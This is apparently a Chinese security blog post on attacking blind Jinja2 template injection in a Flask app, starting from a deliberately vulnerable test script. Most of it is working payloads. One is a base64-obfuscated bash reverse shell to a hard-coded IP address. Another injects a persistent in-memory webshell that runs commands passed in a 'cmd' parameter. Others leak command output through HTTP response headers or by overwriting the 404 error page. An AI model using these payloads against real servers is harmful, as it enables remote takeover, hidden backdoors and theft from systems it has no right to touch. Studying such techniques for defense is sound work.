参考了先知中的很多blog
先贴一个测试脚本
from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)
@app.route('/', methods=["POST"])
def template():
template = request.form.get("code")
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8000)
可以看到这里进行了一次模板渲染,存在SSTI漏洞,但是没有对渲染的结果进行回显.
这里的打法比较丰富.
写文件到static
最通用的一个办法,像js啥的也可以写到public中.
出网反弹shell
这也是最简单的一种打法,在出网的情况下直接反弹shell.
x={{lipsum.__globals__['os'].popen('bash${IFS}-c${IFS}\'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}\'').read()}}
注入内存马
基础款:
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
使用方式:直接get去传参cmd即可.
https://xz.aliyun.com/t/14539 这个文章中给出了很多其他的钩子的用法,然而尝试了并没有复现成功.
包括只用hex等方式去进行bypass的,也都没复现成功.
httpheader回显
http
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}
server
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}
错误页面
污染404:
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}
可以使用InternalServerError
等去替换NotFound
来污染其他页面
盲注
不同情况下写法不同,注意使用二分来优化.
标签:__,.__,builtins,无回显,globals,lipsum,__.__,SSTI,jinjia2 From: https://www.cnblogs.com/meraklbz/p/18572680